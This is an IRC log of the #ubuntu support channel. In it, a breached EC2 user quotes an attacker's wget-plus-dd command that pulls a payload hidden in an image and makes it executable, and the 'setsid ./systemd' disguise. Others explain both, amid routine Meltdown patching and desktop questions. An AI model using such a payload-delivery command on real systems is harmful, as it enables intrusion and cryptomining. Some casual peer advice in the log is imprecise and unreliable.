[19:21] <truthseeker1990> I have a question thats not strictly to do with ubuntu. MY EC2 Instance was just breached. I know the guy ran this wget command on my machine. Can anyone explain what all the little flags do? Can anyone give me some idea of what the command does over all?
[19:21] <truthseeker1990> wget -c http://imgur.com/testimage.png -O test.jpg;dd skip = 20656 bs = 1 if=./test.jpg of=x12345;rm -f ./test.jpg;chmod 700 ./x12345
[19:21] <zomaar> netmaniack: There are other remote monitors but I am unfamiliar with them
[19:21] <truthseeker1990> This is the command, the image link of course is a dummy one
[19:21] <zomaar> netmaniack: Those are small boxes you attach to the router and that can give you SSH console access
[19:22] <zomaar> netmaniack: Err, to the server
[19:22] <sruli> is it possible to use "pass" in portable mode? i want the key and pass store on a flash drive and be able to add / view directly on drive without needing to import gpg key
[19:22] <alkisg> truthseeker1990: he had encapsulated an executable in a .jpg image so that it's not easily discoverable
[19:22] <netmaniack> truthseeker1990: I will ask it in different channel then.
[19:22] <alkisg> Then he extracted it with dd
[19:22] <truthseeker1990> what does dd do?
[19:22] <alkisg> it copies on a byte level
[19:23] <truthseeker1990> what about the rest of the flags? of? if?
[19:23] <truthseeker1990> Is the command essentially extracting the executable inside the image, and then changing its permission?
[19:23] <alkisg> skip means the 'virus' was positioned at byte 20656 of the image
[19:24] <alkisg> bs=byte size one
[19:24] <alkisg> if=source file
[19:24] <alkisg> of=destination, where to write the virus
[19:24] <zomaar> truthseeker1990: Not inside the image, the image was an executable, he copied it
[19:24] <alkisg> zomaar: no, the virus was inside the image
[19:24] <zomaar> truthseeker1990: Oh wait you're right
[19:24] <zomaar> sorry
[19:24] <alkisg> To hide it
[19:24] <zomaar> Yeah
[19:24] <zomaar> Too tired
[19:25] <truthseeker1990> Is this normal practice or something new? To hide an executable inside the image I mean?
[19:25] <zomaar> truthseeker1990: It is pretty common
[19:25] <alkisg> There are methods to write data into images, but not like this, this means that the image wasn't a valid image
[19:25] <truthseeker1990> Also, if I happened to open the image in the browser, would that have any effect?
[19:25] <alkisg> So it was not a real .jpg at all, it would show up as corrupted
[19:26] <truthseeker1990> Nop, it was a nude of scarlett johannsen lol
[19:26] <truthseeker1990> I went to the link
[19:26] <truthseeker1990> coz I am stupid
[19:26] <alkisg> That doesn't matter, it was not designed to run via visiting it
[19:26] <zomaar> truthseeker1990: What sometimes happens is that a breach writes data at the end of an image and then the image is downloaded off your server by a remote hacker
[19:27] <alkisg> And a good viewer would tell you at least about the size mismatch
[19:27] <zomaar> truthseeker1990: But this is a bit odd because there is little reason to download this remote image first
[19:27] <truthseeker1990> Why do you say that zomaar?
[19:27] <wasutton3> so ive added a /dev/shm line to the fstab, but its still being reported as 5.8G in size vs the 10G i specified
[19:27] <zomaar> truthseeker1990: Well apparently this hacker just abused imgur for storing the virus in a trustworthy way
[19:28] <truthseeker1990> What options could he have other than trying to deliver it this way? He only had access to my instance via a Postgresql service that he compromised, maybe thats the reason??
[19:28] <zomaar> truthseeker1990: Others may use it to extract data FROM your site
[19:28] <Zaliek> Storing something in an image is not the same as exploiting an image parser to trick it into running code stored in the image file
[19:28] <zomaar> truthseeker1990: No wget should always work
[19:28] <truthseeker1990> He opened a stratum+tcp port. stratum is a bitcoin mining protocol
[19:29] <zomaar> truthseeker1990: I don't know why he chose this delivery
[19:29] <truthseeker1990> I guess he was just using the image in a weird way, he could have a googledrive link with the actual code as well, and that would work too
[19:29] <zomaar> truthseeker1990: But imgur is a public site and you can easily store something there
[19:29] <alkisg> truthseeker1990: google drive isn't anonymous
[19:29] <truthseeker1990> True
[19:30] <truthseeker1990> zomaar doesnt that answer it? It was easy to store something there?
[19:30] <zomaar> truthseeker1990: I think so
[19:30] <Zaliek> However if someone is blocking all sites except a few, and an attacker wants to download code onto your computer then storing a payload in a file on a service that's not blocked would make sense
[19:31] <truthseeker1990> ANother good point
[19:31] <zomaar> truthseeker1990: And you could even be having a firewall that would scan executables but skip this one
[19:31] <Zaliek> Like a lot of fancy firewalls auto block known malware domains
[19:32] <Zaliek> There's also stenography where you can embed data into an image in a way that it is not easily detectible
[19:32] <alkisg> It usually requires a client program to extract it though
[19:32] <Zaliek> rather than just adding extra bytes to the file
[19:33] <Zaliek> I'm reminded of that one hack of a government hacking company (forget the name) where they used DNS packets to exfiltrate data
[19:34] <Zaliek> There are many ways to get around the simplistic security systems commonly deployed
[19:34] <oerheks> guys lets get back to ubuntu support please, thanks.
[19:36] <ppf> i'm using setxkbmap to set some stuff for my keyboard
[19:36] <ppf> but whenever i unplug it and plug it back in, that setting is gone
[19:36] <ppf> is there a way to have this persist?
[19:36] <mad_lion> русские есть?))
[19:36] <Zaliek> Sorry. I still was hoping for an answer on my question. How does the upgrade from Unity to Gnome work? Is there a lot of configuration that needs to be redone after the upgrade?
[19:36] <nicomachus> Zaliek: that all comes down to personal taste.
[19:37] <nicomachus> Zaliek: it works out of the box, but if you want to make changes to the UX you can.
[19:37] <leftyfb> mad_lion: /join #ubuntu-ru
[19:37] <nicomachus> !ru | mad_lion
[19:37] <alkisg> ppf, what setting? Can you give the exact command line you're using?
[19:38] <Zaliek> So there's no conversion scripts? It's the same as just installing and switching to gnome?
[19:38] <ppf> alkisg: setxkbmap -symbols "pc+us+inet(evdev)+level3(ralt_switch)+eurosign(e)+capslock(escape)+mine"
[19:39] <leftyfb> Zaliek: technically, both Unity and Gnome(Shell) are both Desktop Environments. You can install both or either. Neither is an "upgrade".
[19:39] <alkisg> ppf: the normal way to configure that is `sudo dpkg-reconfigure keyboard-configuration`, which then is written to /etc/default/keyboard, and is respected by both console and xorg
[19:39] <nicomachus> leftyfb: I think he means the 17.04>17.10 upgrade, which SHOULD have been done already.
[19:40] <rik316> Is there a definitive way to test if your ubuntu install is still vulnerable to spectre/meltdown?
[19:40] <anden> is there an exact list of linux kernel versions that are vulnerable/not vulnerable to meltdown? i've been trying to find one, without success
[19:40] <leftyfb> Zaliek: Ubuntu 17.10 will use Gnome by default with no Unity available(AFAIK). So you might be asking about upgrading from a previous version of ubuntu to 17.10.
[19:40] <alkisg> ppf, I don't think the keyboard-configuration menus have all the options you're using though; maybe you can put them in /etc/default/keyboard anyway
[19:40] <nicomachus> anden: all are vulnerable up to 4.14
[19:40] <rik316> I'm currently using   "grep "cpu_insecure\|cpu_meltdown\|kaiser" /proc/cpuinfo", but that doesn't have any matches on some "supposedly" patched machines
[19:40] <zomaar> https://wiki.ubuntu.com/SecurityTeam/KnowledgeBase/SpectreAndMeltdown
[19:41] <nicomachus> !kpti | anden rik316
[19:41] <anden> nicomachus: i mean one of my systems running 14.04 received a patch and it's still running linux 3.x but it's supposed to be patched from what i've read
[19:41] <nicomachus> rik316: https://github.com/speed47/spectre-meltdown-checker
[19:41] <rik316> ty
[19:42] <oerheks> !kpti
[19:42] <ppf> alkisg: the documentation of that file is somewhat small :/
[19:42] <oerheks> oops, already given
[19:42] <Zaliek> leftyfb, Yes I was asking about the upgrade from 17.04 to 17.10
[19:42] <anden> nicomachus: i was hoping there was a more precise list, like "4.4.0-104 is vulnerable but 4.4.0-109 is not"
[19:42] <zomaar> al dat getover
[19:42] <Guest96> Hi
[19:42] <zomaar> 108 was the first to be patched in 4.4
[19:42] <zomaar> https://wiki.ubuntu.com/SecurityTeam/KnowledgeBase/SpectreAndMeltdown
[19:42] <akik> ppf: there's a way to create udev rules that run commands when some e.g. usb device is connected
[19:43] <zomaar> So from 108 it is patched
[19:43] <Guest96> I'm using kernel "3.13.0-135-generic #184-Ubuntu SMP Wed Oct 18 11:55:51 UTC 2017 x86_64 x86_64 x86_64 GNU/Linux
[19:43] <Guest96> " - how do I update it with the Meltdown patch?
[19:45] <Zaliek> Microsoft's article about it suggests that a microcode update in the BIOS was needed to completely migitate (but it doesn't say if it's for meltdown or spectre)
[19:45] <zomaar> Guest96: linux-image-generic <IP_ADDRESS>.148
[19:46] <Guest96> Zomaar - what are the commands exactly?
[19:46] <alkisg> sudo apt-get update; sudo apt-get dist-upgrade
[19:46] <zomaar> Guest96: Just upgrade the kernel
[19:46] <alkisg> Guest96, i.e. just normal upgrade mechanism
[19:46] <Guest96> Trying now, thank you!
[19:46] <leftyfb> correct me if I'm wrong, but from wht I understand, this whole cpu bug is only exploitable when you are logged into the machine and not something that can be done remotely right? If that's the case, I don't think people need to worry all that much about patching their personal pc's
[19:47] <zomaar> leftyfb: There was some worry about even javascript code being able to trigger it
[19:47] <jimb_> I think there is proof of javascript being used to exploit the vuln
[19:47] <leftyfb> zomaar: I doubt it. Since nobody has even written/seen an explout for it yet. Apparently it's non-trivial to exploit
[19:47] <Zaliek> leftyfb, That is sort of correct. The security issue is that it allows privilege elevation from unprivleged code
[19:47] <zomaar> leftyfb: Anything that is compiled (JIT) and runs on your system could do it
[19:48] <rik316> nicomachus is that verified by ubuntu anywhere? I'm hesitant to run a script by a random person on production machines?
[19:48] <zomaar> leftyfb: You are probably right
[19:48] <Zaliek> So if someone can get code running on your machine they can exploit it. Combine that with an exploited network service that normally doesn't have a privilege escalation and you're owned
[19:48] <Guest96> Finished both commands - no reboot is required after a kernel update?
[19:48] <zomaar> leftyfb: Side-channel attacks take time to execute too
[19:48] <jimb_> https://react-etc.net/page/meltdown-spectre-javascript-exploit-example
[19:49] <zomaar> leftyfb: Let alone that you have to visit some suspicious site
[19:49] <sw0rdy> nicomachus: is the iso cdimage of 17.10 patched already for meltdown/spectre?
[19:49] <leftyfb> rik316: that project is an open source shell script contributed by from 13 different people. It's safe to run
[19:49] <leftyfb> sw0rdy: unlikely since none of the core kernels have been patched/released yet
[19:49] <leftyfb> sw0rdy: https://wiki.ubuntu.com/SecurityTeam/KnowledgeBase/SpectreAndMeltdown
[19:50] <zomaar> That example doesn't do anything :)
[19:51] <zomaar> The only thing the javascript code could ever do would be to exfiltrate data from your system, like keys
[19:51] <zomaar> Not saying that's not bad, but that's the extent
[19:51] <zomaar> E.g. any exploit would go hunting for private keys
[19:51] <sw0rdy> leftyfb: yes I'm reading that already
[19:52] <Guest96> Zomaar - I see that the kernel is still reported "3.13.0-135-generic" after running both commands - do I need to reboot for the new kernel to take over?
[19:52] <sw0rdy> leftyfb: what does CRD mean in that page
[19:52] <leftyfb> sw0rdy: don't know
[19:53] <zomaar> Guest96: Yes
[19:53] <zomaar> Guest96: But you can check /boot
[19:53] <Guest96> how?
[19:53] <zomaar> Guest96: Just ls /boot to see if the new kernel is installed
[19:54] <Guest96> I see "abi-3.13.0-139-generic" in the list, rebooting
[19:55] <jimb_> Coordinated Release Date (or something like that)
[19:56] <Guest96> After reboot, kernel is reported "3.13.0-139-generic" - thank you so much Zomaar!
[19:56] <sw0rdy> jimb_: yes I got that towards the end of that page
[19:56] <sw0rdy> but so, should I wait for a new iso cdimage thats already patched to install ubuntu?
[19:57] <Guest96> If I understand correctly, 3.13.0-139-generic is for Meltdown only, Spectre isn't fixed yet, right?
[19:57] <zomaar> Not much reason to
[19:57] <sw0rdy> even though it says 17.10 has received the patch update
[19:58] <zomaar> Correct
[19:58] <Zaliek> Spectre is probably only fixable via microcode
[19:58] <Guest96> Thank you!
[19:58] <Zaliek> So if you have unsupported hardware that the MFG doesn't release new BIOS updates for you're probably SOL
[19:58] <Guest96> We are on AWS
[19:59] <Guest96> So AWS will update the firmware, right?
[19:59] <zomaar> For any Linux system the typical attack path would be first unprivileged user access and then exfiltration of keys, so you need to be breached first
[19:59] <Zaliek> I know Intel released some microcode updates but they didn't say if that was to fix meltdown or spectre
[20:00] <Zaliek> Guest96, AWS updated the hypervisors, you still need to patch your kernel to prevent exploits inside your OS
[20:00] <nicomachus> too busy selling stock
[20:01] <Guest96> So the 3.13.0-139-generic to which I patched now, will protect from Spectre too? Or will there be another kernel update?
[20:01] <Zaliek> Only meltdown as far as I know. Information about patches for Spectre are rather... ethereal right now
[20:02] <zomaar> It is said that despite its many glaring (and occasionally fatal) inaccuracies, the Hitchhiker's Guide to the Galaxy itself has outsold the Encyclopedia Galactica because it is slightly cheaper, and because it has the words 'DON'T PANIC' in large, friendly letters on the cover.
[20:02] <TheSilentLink> I'm on 4.13.0-25 and I have gotten an update for kernel 4.13.0-16 is that an older kernel?
[20:03] <sw0rdy> Zaliek: should I just go ahead and install the unpatched ubuntu 17.10 cdimage I grabbed yesterday and just update the system after installing it, in order to get it patched for meltdown
[20:04] <Zaliek> Yes, and make sure you reboot after upgrading
[20:04] <zomaar> sw0rdy: Whatever way you like, it won't change the outcome in any way
[20:04] <dabba> Zaliek, nice pun a while back :P
[20:04] <sw0rdy> zomaar: I was thinking I might want to wait for them to put out an already patched cdimage
[20:04] <truthseeker1990> Hi Again, I found another command from the hacker. What will "setsid ./systemd" do??
[20:05] <zomaar> sw0rdy: It's all irrelevant you know
[20:05] <Zaliek> It's not a remote exploit, so no real danger installing then patching before installing any software
[20:05] <zomaar> sw0rdy: But if you like a clean install in one go, go for it
[20:05] <dabba> sw0rdy, you'll have the vuln for a very short period of time i think it's find to install and patch
[20:05] <TheSilentLink> Which kernel patches meltdown?
[20:05] <Guest96> Thank you so much, this was really helpful! Have a good one!
[20:05] <zomaar> https://wiki.ubuntu.com/SecurityTeam/KnowledgeBase/SpectreAndMeltdown
[20:06] <zomaar> 4.4.0-108
[20:06] <zomaar> 4.13.0-25
[20:06] <sw0rdy> yep, thats the one :)
[20:07] <Zaliek> truthseeker1990, If you've been hacked then wipe and reinstall from backup. No sense trying to find and remove whatever they've hid. You can never be sure
[20:07] <TheSilentLink> zomaar: this is what I don't understand today I got an upgrade to install 4.13.0-15
[20:07] <TheSilentLink> 4.13.0-16*
[20:07] <Jardayn> Did the Meltdown/Spectre patch come out for 1404?
[20:07] <TheSilentLink> which according to the website doesn't have the patch
[20:07] <Zaliek> Unless you're just investigating what they did ofc
[20:08] <Zaliek> Do you know how they got console access?
[20:08] <truthseeker1990> zaliek, already wiped. Trying to figure out what they did
[20:08] <Zaliek> Ah okay
[20:08] <truthseeker1990> Yes, I had a postgresql that was badly configured
[20:08] <truthseeker1990> they came in via that
[20:09] <truthseeker1990> then made themselves superuser, locked me out
[20:09] <truthseeker1990> and ran C commands from within pg
[20:09] <truthseeker1990> Any idea what setsid ./systemd might do?
[20:10] <oerheks> man setsid .. but ./systemd is not a valid folder on ubuntu??
[20:10] <SimonNL>  [20:10] <truthseeker1990> oerheks I thought it is? A quick google search brought up tons of reference to systemd?
[20:11] <Zaliek> "setsid runs a program in a new session"
[20:11] <leftyfb> it depends on the pwd
[20:11] <zomaar> truthseeker1990: Apparently they are restarting the system daemon
[20:11] <truthseeker1990> Why would they do that?
[20:11] <zomaar> truthseeker1990: Maybe to take over more services
[20:12] <leftyfb> truthseeker1990: oerheks: they were running what was probably a modified/hacked version of systemd to allow them remote control and/or escelated privs
[20:12] <truthseeker1990> Wtf
[20:12] <truthseeker1990> remote control?
[20:12] <truthseeker1990> so they could still be there?
[20:12] <zomaar> Yes well they would set themselves up for better access
[20:12] <leftyfb> Not if you wiped the machine like you were supposed to
[20:12] <truthseeker1990> I closed the server, but i took a snapshot before and restored another instance with that snapshot
[20:12] <truthseeker1990> coz i wanted to see what they did :(
[20:13] <zomaar> truthseeker1990: They were apparently planning to keep the hacked version running for a while
[20:14] <Zaliek>  ./filename usually is used to run a script
[20:14] <donofrio> anyone know how to get my usb dvi's to not mirror? https://apaste.info/caxz
[20:14] <Zaliek> any idea what folder that was run in?
[20:14] <zomaar> truthseeker1990: This can allow hiding of processes and so on
[20:14] <dj-death> Hi all
[20:14] <truthseeker1990> I dont see any logs of them bringing in the hacked version of systemd though. I know they ran other code because they downloaded an image and extracted an executable from it and ran that. But nothing about systemd
[20:14] <dj-death> I'm trying to update meson using the backports on 16.04
[20:15] <dj-death> but it's still picking up meson 0.29 instead of 0.40 from backports
[20:15] <dj-death> https://pastebin.com/ZKgK2N5e
[20:15] <dj-death> any idea?
[20:15] <zomaar> But what Zaliek says, there is no reason to do ./systemd unless it is a custom version
[20:15] <leftyfb> truthseeker1990: to be honest, this isn't the best place to discuss this.  Other than that, maybe try #ubuntu-security or the like for help with forensics
[20:15] <jimb_> The executable, once ran, could have went and gathered other 'utilities' for them.
[20:16] <truthseeker1990> Ok, thanks for the help guys. Will wipe and shut everything down. jimb_ that could explain where the systemd comes from
[20:17] <Zaliek> they could have been trying to run something as "systemd" so you wouldn't notice it in the list of processes
[20:17] <zomaar> dj-death: apt install meson/xenial-backports
[20:18] <dj-death> zomaar: thanks a lot !
[20:18] <Jardayn> Did the Meltdown/Spectre patch come out for 1404? I'm on 3.13 Kernel
[20:18] <sononuovo> hello
[20:18] <sononuovo> sorry im not speak english
[20:18] <zomaar> yes 3.13.0-139
[20:18] <sononuovo> ask: know channel italian ubuntu?
[20:19] <leftyfb> !it | sononuovo
[20:19] <sononuovo> channel kubuntu?
[20:19] <leftyfb> !it | sononuovo
[20:20] <sononuovo> thanks
[20:20] <Jardayn> zomaar, thanks. I can't get it via apt-get upgrade
[20:20] <ioria> Jardayn, sudo apt-get dist-upgrade
[20:20] <zomaar> Jardayn: dist-upgrade
[20:21] <sononuovo> leftyfb sorry not fuction comand !it
[20:21] <leftyfb> sononuovo: /join #ubuntu-it
[20:22] <sononuovo> yes im indecise kubuntu, ubuntu, elementary, depphin
[20:22] <sononuovo> im not use linux im noob XD
[20:22] <leftyfb> sononuovo: /join #ubuntu-it
[20:22] <sononuovo> ok u.u
[20:22] <zomaar> sononuovo: You can just try
[20:22] <Jardayn> zomaar, won't that update other packages as well?
[20:23] <leftyfb> sononuovo: do not private message me please
[20:23] <zomaar> Jardayn: Generally only stuff like the kernel
[20:23] <sononuovo> ok
[20:23] <zomaar> sononuovo: Kubuntu is nice
[20:23] <sononuovo> use google traslate help me ok?
[20:23] <sononuovo> channel it no responde all away
[20:24] <zomaar> sononuovo: What do you want to know?
[20:25] <sononuovo> I would like to put some distros, they are all excellent, but I would also like to play with them
[20:25] <sononuovo> im like kubunu, elementary, dephin lubuntu etc.
[20:25] <zomaar> sononuovo: You can install multiple on the same computer if you wanted
[20:26] <Jardayn> zomaar, okay, upgrade got me there without dist-
[20:26] <sononuovo> I do not have a good computer eh ... I just want a distro that I like, what do you use?
[20:27] <zomaar> Me Kubuntu 16.04 but it is buggy I am hoping for later version
[20:27] <FDE1X0A2> sononuovo: it's important for you to find the distro that you yourself like
[20:27] <zomaar> I want to upgrade soon to 16.10 or 17.04
[20:27] <zomaar> Or I just need later KDE
[20:27] <FDE1X0A2> sononuovo: so that calls for a bit of manual experimentation
[20:27] <leftyfb> zomaar: neither of those versions are supported
[20:28] <leftyfb> zomaar: pick either 16.04 or 17.10
[20:28] <ioria> dead
[20:28] <zomaar> Support not necessary
[20:28] <dragosdrgm12> hi
[20:28] <zomaar> Just transition
[20:28] <leftyfb> zomaar: it is if you are asking for support with it here
[20:28] <sononuovo> the problem and that there are many
[20:28] <sononuovo> the problem and that there are many
[20:28] <sononuovo> the problem and that there are many
[20:28] <sononuovo> the problem and that there are many
[20:28] <sononuovo> the problem and that there are many
[20:28] <dragosdrgm12> how to root ubuntu??
[20:28] <zomaar> I rarely ask for support
[20:28] <FDE1X0A2> dragosdrgm12: what do you mean by root?
[20:28] <leftyfb> zomaar: you're asking now
[20:28] <zomaar> I'm not asking anything
[20:29] <dragosdrgm12> netdiscover function
[20:29] <kostkon> !root | dragosdrgm12
[20:29] <leftyfb> dragosdrgm12: are you trying to "hack" a computer?
[20:29] <dragosdrgm12> yes test on me
[20:29] <leftyfb> dragosdrgm12: go away please
[20:29] <FDE1X0A2> dragosdrgm12: wrong channel...
[20:29] <dragosdrgm12> only for test
[20:30] <zomaar> sononuovo: It will take time
[20:30] <dragosdrgm12> please
[20:30] <leftyfb> dragosdrgm12: go away please
[20:30] <dragosdrgm12> ?
[20:30] <Zaliek> what even
[20:31] <zomaar> sononuovo: You just have to test
[20:31] <zomaar> sononuovo: What you like best
[20:32] <sononuovo> diffuclt
[20:32] <zomaar> sononuovo: You can't do it in 10 days
[20:32] <ioria> sononuovo, upu wanna play ? install win in vm
[20:32] <sononuovo> kubuntu + plasma desktop = im like
[20:33] <sononuovo> minecraft  linux
[20:33] <sononuovo> is good
[20:33] <sononuovo> not have serial key win 10
[20:33] <FDE1X0A2> sunonuovo: you don't need the serial key
[20:33] <akik> is apt downloading many packages at once? can i limit that to only one download at a time?
[20:34] <sononuovo> I want to reuse linux, I would like to enjoy it and learn
[20:34] <zomaar> sononuovo: normal Ubuntu 16.04 is last big release with Unity, maybe use it while you can
[20:34] <FDE1X0A2> zomaar: you can still install unity desktop if you want, I think
[20:35] <leftyfb> sononuovo: https://kubuntu.org/getkubuntu/ there ya go
[20:35] <sononuovo> what can you tell me about kubuntu? beyond that bug you wrote
[20:35] <Richard_Cavell> Hi everyone. I'm on 16.04 MATE 64-bit and I want to upgrade to 17.10, but sudo apt-get dist-upgrade isn't doing it
[20:35] <leftyfb> sononuovo: https://kubuntu.org/
[20:36] <FDE1X0A2> sunonuovo: it's basically Ubuntu with KDE plasma suite instead
[20:36] <ioria> Richard_Cavell, you know why
[20:36] <FDE1X0A2> Richard_Cavell: try sudo do-release-upgrade
[20:36] <Richard_Cavell> No new release found.
[20:37] <zomaar> Kubuntu is just "normal" desktop much like Windows but quiet, not the chatter of Windows 10
[20:37] <ioria> Richard_Cavell,  lts != not-lts
[20:37] <sononuovo> what fde1x0a2
[20:38] <zomaar> sononuovo: Not sure what to tell you about Kubuntu
[20:38] <zomaar> sononuovo: There is not much to say
[20:38] <tapanik> ubuntu 16.04
[20:38] <sononuovo> ok
[20:38] <zomaar> sononuovo: It is still just Ubuntu
[20:39] <tapanik> ubuntu is great, i dont play pc games
[20:39] <sononuovo> ok
[20:39] <zomaar> Kubuntu = wide system, Ubuntu is smaller environment, a bit more "comfy"
[20:39] <FDE1X0A2> zomaar: what do you mean by 'wide system'?
[20:40] <zomaar> Softer colors, friendlier appearance
[20:40] <tapanik> no virus for me thanx ubuntu
[20:40] <FDE1X0A2> sononuovo: all there is to it is that Kubuntu is a Ubuntu derivative with KDE plasma as the desktop environment....
[20:40] <tapanik> great for media too
[20:40] <zomaar> Breeze style is a bit hard and cold, Unity is more kiosk-like, warm and friendly
[20:41] <tapanik> windows10 buu
[20:41] <FDE1X0A2> we're going off topic guys
[20:41] <zomaar> Unity inspires closeness, Breeze inspires openness
[20:41] <zomaar> Unity was developed for netbooks, so "smaller" environment
[20:42] <zomaar> I think Unity is better for focussing on a single task
[20:44] <zomaar> It is incredible how easy it is to go offtopic in #ubuntu while talking about Ubuntu.
[20:44] <zomaar> :).
[20:44] <FDE1X0A2> zomaar: this is actually a support channel, not for idle chatting
[20:45] <zomaar> It is even hard to see this as not-support
[20:45] <TJ-> If you want to discuss Ubuntu use #ubuntu-discuss
[20:46] <FDE1X0A2> you can use alis to search for the specific offtopic channels (eg. ubuntu-offtopic)
[20:46] <DexterF> hi
[20:47] <zomaar> Maybe we should rename this #ubuntu-support so that in #ubuntu you can talk about Ubuntu
[20:47] <zomaar> ;-)
[20:47] <ioria> i'am a bit high today , but i'am enjoying the discussion :þ
[20:47] <DexterF> to run a WPA2 hostapd access point, do I need wpa_supplicant on it? w_s package description says "client tool"
[20:47] <TJ-> ioria: you're on top of a pile of junked Intel CPUs? :p
[20:48] <ioria> TJ-, absolutely
[20:48] <mg55`> anyone running 17.11?
[20:48] <alkisg> Nah, because it's 17.10 :D
[20:48] <leftyfb> mg55`: since there is no such version, no
[20:48] <zomaar> I tried 18.06 the other day, it was nice
[20:48] <TJ-> DexterF: no, wpa_suppplicant not Depend-ed on by hostapd
[20:48] <nacc> zomaar: also not a version.
[20:48] <leftyfb> zomaar: there's no version 1806
[20:48] <zomaar> Hahaha
[20:49] <mg55`> says in the title versions 14.04, 16.04, 17.04, and 17.10
[20:49] <nacc> mg55`: yes, and you said 17.11
[20:49] <mg55`> so ther has to be
[20:49] <leftyfb> mg55`: correct
[20:49] <mg55`> oh, anyone running 17.10 then
[20:49] <leftyfb> mg55`: there is versions 14.04, 16.04, 17.04(unsupported), and 17.10. But no 17.11
[20:50] <leftyfb> mg55`: yes, there are people running 17.10.
[20:50] <dax> zomaar: the only channel I know that has #foo and #foo-support ends up with support chat in both and it's quite a mess :P
[20:50] <leftyfb> mg55`: did you have an actual support question?
[20:50] <Zaliek> mg55`, Better to just ask a question than try to setup one
[20:50] <mg55`> any cats or dogs running it vesides ppl? lol
[20:50] <nacc> mg55`: please go somewhere else with offtopic chitchat.
[20:51] <Rembo> hello everyone, where can i edit dns zone file on ubuntu 14 ? many thanks
[20:51] <zomaar> dax: But it would be fun seeing everyone direct people to #foo-support, because it would be a never-ending task
[20:51] <FDE1X0A2> Rembo: DNS zone?
[20:52] <nacc> Rembo: you are running a DNS server?
[20:52] <TJ-> Rembo: /etc/bind/
[20:52] <Rembo> FDE1X0A2: yes, like bind or named configuration file?
[20:52] <Rembo> i have ubuntu with zimbra installed and i need to make some modification in dns zone, i cannot find named or bind file location
[20:52] <mg55`> i was wanted to know if you can run 17.10 on a format other than ext4
[20:53] <FDE1X0A2> mg55: yes you can
[20:53] <zomaar> mg55`: You can probably select ext3 and xfs by default
[20:53] <mg55`> cause i want it as a storage device as will, so i want to but it on exfat
[20:54] <zomaar> mg55`: That's not possible
[20:54] <mg55`> it is removable
[20:54] <zomaar> mg55`: Is it on usb stick?
[20:54] <mg55`> SDD drive
[20:54] <FDE1X0A2> zomaar: installing it on a storage device is possible
[20:55] <mg55`> external
[20:55] <zomaar> mg55`: Then you need to have 2 partitions
[20:55] <zomaar> mg55`: One for the system and one for the data
[20:55] <sononuovo> zoomar sorry, visit link
[20:55] <zomaar> mg55`: But the system partition needs to support Linux permissions
[20:56] <zomaar> As far as I can tell in any case
[20:56] <mg55`> ok, sounds like a plan then
[20:56] <zomaar> I can't watch YouTube, sorry (sononuovo)
[20:56] <Zaliek> Is exfat still only supported by FUSE?
[20:56] <Rembo> any help?
[20:56] <mg55`> i will partition a fat partions so i can plug it in to other window devices
[20:57] <mg55`> just don't have much space
[20:57] <sononuovo> ok
[20:57] <mg55`> but any rate
[20:57] <zomaar> mg55`: That is why I was asking USB stick, because Windows has issues with USB sticks and 2 partitions, but not if only one is readable, so it doesn't matter
[20:57] <skinux> IS there anything that can be done about embedded videos having a low volume when my volume is set to max? Internal speakers of a laptop.
[20:58] <mg55`> i always loose usb sicks
[20:58] <mg55`> try to avoid em
[20:59] <Zaliek> skinux, go to System Settings -> Sound -> Applications tab while playing and check to make sure the application volume is at max
[20:59] <zomaar> skinux: pactl -- set-sink-volume 0 200%
[20:59] <zomaar> sorry, pactl --set-sink-volume 0 200%
[20:59] <mg55`> this might be off topic as well, but anyone successfully cloned ubuntu ext4 with clonezilla and restored it?
[21:00] <Zaliek> If that's correct, you could check the box "Allow louder than 100%" in the sound settings
[21:00] <zomaar> mg55`: Windows will just skip partition types it cannot read
[21:01] <zomaar> mg55`: But it might still show them if on SSD
[21:01] <zomaar> mg55`: So you could put the exfat partition in front
[21:01] <Rembo> anyone can help me?
[21:02] <zomaar> mg55`: Cloning Linux is not an issue
[21:02] <mg55`> i never tried it
[21:03] <zomaar> There is just little reason to make disk *images*
[21:03] <zomaar> Because you can just copy all files, chroot and reinstall grub
[21:03] <skinux> I don't have a system settings menu option. And the settings icon doesn't bring up an option for sound
[21:03] <mg55`> cloned windows many times, but never ubuntu or any linux distro
[21:04] <FDE1X0A2> mg55: why can't you just use dd?
[21:04] <zomaar> dd is not safe if you have LVM
[21:04] <mg55`> dd?
[21:04] <zomaar> dd = slow clonezilla
[21:06] <mg55`> never went in to dd mode, i save and restore parts
[21:06] <zomaar> mg55`: (There is also Windows tools to hide unwanted partitions...)
[21:07] <mg55`> yea, i hide em, easy
[21:08] <mg55`> set id = 07 override in diskpart most of the time works
[21:09] <mg55`> then if you want em back just assign
[21:09] <mg55`> or set id = 17 override
[21:09] <mg55`> but that is windows, not ubuntu
[21:10] <rtyuipop^> hi there
[21:12] <lysett> hi can you mark #1742293 as duplicate of #1705345
[21:13] <zomaar_> ok so make your exfat 7 or whatever it needs, install GRUB in the mbr, make Linux 83 or whatever it wants, and you can install Linux whatever way you want
[21:13] <lysett> killing plymouth helps hanging kernel updates
[21:14] <zomaar_> one partition, two partitions, one partition with LVM
[21:14] <FDE1X0A2> mg55: If you're using an external SSD...you can probably get away with it...
[21:14] <FDE1X0A2> mg55: thumbdrive on the other hand...
[21:14] <rtyuipop^> why i can find php7.02 ?
[21:15] <rtyuipop^> why i can' t
[21:15] <nacc> rtyuipop^: 7.02?
[21:15] <zomaar_> php7.0/xenial-updates,xenial-updates,xenial-security,xenial-security 7.0.22-0ubuntu<IP_ADDRESS> all
[21:15] <rtyuipop^> i m looking for php 7.0.4
[21:15] <rtyuipop^> package on ubuntu 16.04 but can't find
[21:15] <nacc> rtyuipop^: 7.0.4 is old and insecure
[21:16] <rtyuipop^> which i have to install instead ?
[21:16] <nacc> rtyuipop^: as zomaar_ said, 7.0.22 is what is currently supported
[21:16] <nacc> rtyuipop^: just install the 'php' package and it will dtrt
[21:17] <nacc> zomaar_: rtyuipop^: 7.0.25 is in x-proposed, as well
[21:17] <nacc> i just have't gotten around to verifying it
[21:17] <rtyuipop^> i got this one by defautl
[21:17] <rtyuipop^> Unpacking php7.0 (7.0.22-0ubuntu<IP_ADDRESS>) ...
[21:17] <zomaar_> Haha my only PHP using system is still on 5
[21:17] <nacc> rtyuipop^: ok
[21:17] <nacc> rtyuipop^: so you have PHP 7.0.22, then
[21:17] <rtyuipop^> php 7.0 instead of 7.0.2
[21:18] <nacc> rtyuipop^: what?
[21:18] <Minelli> Good afternoon everyone.
[21:18] <Minelli> Can anyone tell me how to configure a virtual interface (example eth0: 0) in Ubuntu 17.10 using netplan?
[21:18] <nacc> rtyuipop^: do you know how PHP versioning works?
